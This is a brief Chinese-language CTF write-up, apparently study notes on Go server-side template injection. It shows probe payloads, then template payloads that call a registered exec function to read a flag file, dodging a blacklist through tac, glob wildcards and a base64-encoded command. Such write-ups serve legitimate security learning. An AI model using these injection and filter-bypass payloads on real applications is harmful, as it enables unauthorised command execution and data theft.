GO_SSTI簡單

學習學習

別人的WP

{{.}}
{{len .}}
{{.Name}}

1. map[B64Decode:0x6ee380 exec:0x6ee120]
2. 2
3. no value

要調用是:

结构体

{{.Exec "arg"}}

exec 通过 FuncMap 注册

{{ exec "args" }}

使用 call 函数显式调用

{{call .exec "arg"}}

題目是可以用exec 不過有黑名單 , 不過有B64Decode可以用

手注:

cat被ban 了可以用tac 和 ??a?

{{exec "tac /??a?"}}

用base64來繞過:

{{exec (B64Decode "dGFjIC9mbGFn")}}